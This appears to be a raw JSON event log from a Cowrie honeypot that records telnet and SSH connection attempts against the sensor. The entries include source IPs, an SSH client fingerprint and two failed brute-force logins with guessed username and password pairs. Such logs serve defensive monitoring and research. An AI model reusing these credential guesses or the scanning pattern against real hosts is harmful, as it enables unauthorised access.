{"eventid":"cowrie.session.closed","duration":30.656970262527466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:07.158640Z","src_ip":"103.137.231.186","session":"4a0f28c602fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53798,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe4b12a45f0a","protocol":"telnet","message":"New connection: 103.137.231.186:53798 (159.203.135.109:23) [session: fe4b12a45f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:07.459067Z"}
{"eventid":"cowrie.session.closed","duration":31.09034299850464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:08.169114Z","src_ip":"103.137.231.186","session":"a4b2a461e5d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229590892791748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:08.226632Z","src_ip":"103.137.231.186","session":"0f8ca087b085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":53804,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77fd7557f8d","protocol":"telnet","message":"New connection: 103.137.231.186:53804 (159.203.135.109:23) [session: e77fd7557f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:08.318963Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"youcef","message":"login attempt [admin/youcef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:08.366954Z","src_ip":"103.215.80.173","session":"6ba36d89e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.072845697402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:08.823971Z","src_ip":"103.137.231.186","session":"19196d7d97c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:09.577119Z","src_ip":"103.215.80.173","session":"6ba36d89e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03120517730713,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:09.933322Z","src_ip":"103.137.231.186","session":"789a79c13494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33454,"dst_ip":"159.203.135.109","dst_port":23,"session":"a39e6ff1707d","protocol":"telnet","message":"New connection: 103.137.231.186:33454 (159.203.135.109:23) [session: a39e6ff1707d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:10.135970Z"}
{"eventid":"cowrie.session.closed","duration":30.79770541191101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:10.141367Z","src_ip":"103.137.231.186","session":"f8bbf129a8b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2efe26e83302","protocol":"telnet","message":"New connection: 103.137.231.186:33466 (159.203.135.109:23) [session: 2efe26e83302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:10.549611Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":43058,"dst_ip":"10.17.0.5","dst_port":23,"session":"50046a38a8ee","protocol":"telnet","message":"New connection: 169.38.112.222:43058 (10.17.0.5:23) [session: 50046a38a8ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:11.038096Z"}
{"eventid":"cowrie.session.closed","duration":32.108996868133545,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:11.064044Z","src_ip":"103.137.231.186","session":"73e4236beba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24968719482422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:12.257277Z","src_ip":"103.137.231.186","session":"def6bffed4f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708341598510742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:12.390995Z","src_ip":"103.137.231.186","session":"845e40ffd2af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.138044118881226,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:13.039522Z","src_ip":"103.137.231.186","session":"9f5fbadbbde4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33474,"dst_ip":"159.203.135.109","dst_port":23,"session":"9852d058a7a3","protocol":"telnet","message":"New connection: 103.137.231.186:33474 (159.203.135.109:23) [session: 9852d058a7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:13.107506Z"}
{"eventid":"cowrie.session.closed","duration":30.554298639297485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:14.213324Z","src_ip":"103.137.231.186","session":"a65aa2a1be6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46812,"dst_ip":"10.17.0.5","dst_port":23,"session":"61efa16ad629","protocol":"telnet","message":"New connection: 159.203.13.64:46812 (10.17.0.5:23) [session: 61efa16ad629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:14.888445Z"}
{"eventid":"cowrie.session.closed","duration":30.76729130744934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:15.120038Z","src_ip":"103.137.231.186","session":"a73d83862789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33506,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd19868a663c","protocol":"telnet","message":"New connection: 103.137.231.186:33506 (159.203.135.109:23) [session: bd19868a663c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:15.226147Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33514,"dst_ip":"159.203.135.109","dst_port":23,"session":"60b52e806504","protocol":"telnet","message":"New connection: 103.137.231.186:33514 (159.203.135.109:23) [session: 60b52e806504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:15.503771Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33494,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c29f7546f66","protocol":"telnet","message":"New connection: 103.137.231.186:33494 (159.203.135.109:23) [session: 2c29f7546f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:17.041938Z"}
{"eventid":"cowrie.session.closed","duration":30.38204050064087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:17.131887Z","src_ip":"169.38.112.222","session":"935333e8a990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953476190567017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:17.417511Z","src_ip":"103.137.231.186","session":"706b66be0230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.40040373802185,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:17.603983Z","src_ip":"159.203.13.64","session":"3c1d5b4db77f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33542,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa7d84dfc47d","protocol":"telnet","message":"New connection: 103.137.231.186:33542 (159.203.135.109:23) [session: aa7d84dfc47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:17.713755Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c83b24bab5","protocol":"telnet","message":"New connection: 159.203.13.64:46824 (10.17.0.5:23) [session: 42c83b24bab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:18.754163Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45942,"dst_ip":"159.203.135.109","dst_port":23,"session":"250809472be4","protocol":"telnet","message":"New connection: 103.137.231.186:45942 (159.203.135.109:23) [session: 250809472be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:19.243936Z"}
{"eventid":"cowrie.session.closed","duration":42.964768171310425,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:19.270796Z","src_ip":"159.203.13.64","session":"183b8b30d102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33552,"dst_ip":"159.203.135.109","dst_port":23,"session":"236c83196259","protocol":"telnet","message":"New connection: 103.137.231.186:33552 (159.203.135.109:23) [session: 236c83196259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:19.617829Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":33528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12b756f8264","protocol":"telnet","message":"New connection: 103.137.231.186:33528 (159.203.135.109:23) [session: d12b756f8264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:19.630982Z"}
{"eventid":"cowrie.session.closed","duration":30.957504272460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:20.127701Z","src_ip":"103.137.231.186","session":"8679be36319f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87833595275879,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:21.369586Z","src_ip":"103.137.231.186","session":"0c4d7e6b66e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211240768432617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:21.452992Z","src_ip":"103.137.231.186","session":"43dad62cb964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51302,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc844b05536","protocol":"telnet","message":"New connection: 159.203.13.64:51302 (10.17.0.5:23) [session: 0fc844b05536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:21.972012Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":35826,"dst_ip":"10.17.0.5","dst_port":23,"session":"21516ffb930a","protocol":"telnet","message":"New connection: 169.38.112.222:35826 (10.17.0.5:23) [session: 21516ffb930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.129194Z"}
{"eventid":"cowrie.session.closed","duration":31.123907327651978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.154441Z","src_ip":"103.137.231.186","session":"eb7100d77b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45964,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e3828fae9a","protocol":"telnet","message":"New connection: 103.137.231.186:45964 (159.203.135.109:23) [session: 66e3828fae9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.596845Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45968,"dst_ip":"159.203.135.109","dst_port":23,"session":"f672b5ad00f6","protocol":"telnet","message":"New connection: 103.137.231.186:45968 (159.203.135.109:23) [session: f672b5ad00f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.699970Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53766,"dst_ip":"159.203.135.109","dst_port":22,"session":"50641ea0c1e5","protocol":"ssh","message":"New connection: 159.203.92.129:53766 (159.203.135.109:22) [session: 50641ea0c1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.714720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.719116Z","src_ip":"159.203.92.129","session":"50641ea0c1e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.723935Z","src_ip":"159.203.92.129","session":"50641ea0c1e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aman","password":"aman","message":"login attempt [aman/aman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.793741Z","src_ip":"159.203.92.129","session":"50641ea0c1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":35842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c70a69fd0db","protocol":"telnet","message":"New connection: 169.38.112.222:35842 (10.17.0.5:23) [session: 4c70a69fd0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:22.998146Z"}
{"eventid":"cowrie.session.closed","duration":31.188735485076904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:23.121309Z","src_ip":"103.137.231.186","session":"88e33860d04c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45982,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e88431e484d","protocol":"telnet","message":"New connection: 103.137.231.186:45982 (159.203.135.109:23) [session: 3e88431e484d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:23.686915Z"}
{"eventid":"cowrie.session.closed","duration":31.070160150527954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:23.739973Z","src_ip":"103.137.231.186","session":"012c272d9863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:23.803602Z","src_ip":"159.203.92.129","session":"50641ea0c1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.3597948551178,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.029335Z","src_ip":"159.203.13.64","session":"d2bba3b73801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8326735496521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.144338Z","src_ip":"103.137.231.186","session":"79e1b8268cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f348cf65a244","protocol":"telnet","message":"New connection: 103.137.231.186:45986 (159.203.135.109:23) [session: f348cf65a244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.399780Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45974,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1dc9bdaeec6","protocol":"telnet","message":"New connection: 103.137.231.186:45974 (159.203.135.109:23) [session: e1dc9bdaeec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.537504Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"728711682474","protocol":"telnet","message":"New connection: 159.203.13.64:51314 (10.17.0.5:23) [session: 728711682474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.609274Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":35856,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03d6c419882","protocol":"telnet","message":"New connection: 169.38.112.222:35856 (10.17.0.5:23) [session: d03d6c419882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:24.689747Z"}
{"eventid":"cowrie.session.closed","duration":31.201111316680908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:26.127683Z","src_ip":"169.38.112.222","session":"8eba667f29c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45998,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cfd9ac295e9","protocol":"telnet","message":"New connection: 103.137.231.186:45998 (159.203.135.109:23) [session: 2cfd9ac295e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:26.515102Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51326,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e2dea0fe5cf","protocol":"telnet","message":"New connection: 159.203.13.64:51326 (10.17.0.5:23) [session: 6e2dea0fe5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:29.411738Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45228,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cdd8a55c472","protocol":"telnet","message":"New connection: 103.137.231.186:45228 (159.203.135.109:23) [session: 7cdd8a55c472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:29.610308Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42550,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed1c233f6fb","protocol":"telnet","message":"New connection: 169.38.112.222:42550 (10.17.0.5:23) [session: 1ed1c233f6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:30.203983Z"}
{"eventid":"cowrie.session.closed","duration":31.021838188171387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:30.226607Z","src_ip":"103.137.231.186","session":"35a284952de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45244,"dst_ip":"159.203.135.109","dst_port":23,"session":"9331b3f1f977","protocol":"telnet","message":"New connection: 103.137.231.186:45244 (159.203.135.109:23) [session: 9331b3f1f977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:30.616122Z"}
{"eventid":"cowrie.session.closed","duration":30.949575424194336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:30.735394Z","src_ip":"103.137.231.186","session":"b9b4025ece06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647361278533936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:31.133196Z","src_ip":"103.137.231.186","session":"09cc13299f2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750351190567017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:31.163388Z","src_ip":"103.137.231.186","session":"b716254430a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42560,"dst_ip":"10.17.0.5","dst_port":23,"session":"177a12dac78a","protocol":"telnet","message":"New connection: 169.38.112.222:42560 (10.17.0.5:23) [session: 177a12dac78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:32.715964Z"}
{"eventid":"cowrie.session.closed","duration":30.42893385887146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:33.132709Z","src_ip":"103.137.231.186","session":"efdb62d44563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308170080184937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:33.157217Z","src_ip":"103.137.231.186","session":"7b9240bb0665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11766028404236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:34.136508Z","src_ip":"103.137.231.186","session":"39a5a31515d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98661208152771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:34.367948Z","src_ip":"103.137.231.186","session":"27427c9d0c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45274,"dst_ip":"159.203.135.109","dst_port":23,"session":"c369a4b45590","protocol":"telnet","message":"New connection: 103.137.231.186:45274 (159.203.135.109:23) [session: c369a4b45590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:34.590326Z"}
{"eventid":"cowrie.session.closed","duration":31.165502786636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:34.613968Z","src_ip":"103.137.231.186","session":"a32cb3813d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415342807769775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:36.165230Z","src_ip":"169.38.112.222","session":"f2260a58d027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451370239257812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:36.260358Z","src_ip":"103.137.231.186","session":"8eae7a2505a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556904077529907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:37.145598Z","src_ip":"169.38.112.222","session":"302d17c43e8e","protocol":"telnet"}
